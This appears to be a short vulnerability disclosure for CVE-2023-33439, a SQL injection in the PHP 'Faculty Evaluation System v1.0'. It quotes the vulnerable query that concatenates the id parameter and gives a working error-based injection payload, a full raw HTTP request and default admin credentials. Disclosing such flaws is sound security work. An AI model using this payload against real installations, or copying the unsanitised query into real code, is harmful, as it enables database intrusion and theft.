CVE-2023-33439: bug_report/SQLi-1.md at main · F14me7wq/bug_report

Faculty Evaluation System v1.0 by oretnom23 has SQL injection

Admin account password： [email protected]/admin123

BUG_Author: WuQi Qi and Zhihong Tian, Guangzhou University

vendors: https://www.sourcecodester.com/php/14635/faculty-evaluation-system-using-phpmysqli-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /eval/admin/manage_task.php?id=

Vulnerability location: /eval/admin/manage_task.php?id=, id

Vulnerability sql: $qry = $conn->query("SELECT * FROM task_list where id = ".$_GET[‘id’])->fetch_array();

dbname =evaluation_db

[+] Payload: /eval/admin/manage_task.php?id=1%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)–+ // Leak place —> id

GET /eval/admin/manage_task.php?id=1%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)–+ HTTP/1.1 Host: 192.168.1.88 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: PHPSESSID=lrrse02i69soj9l3lnarhnd9ck Connection: close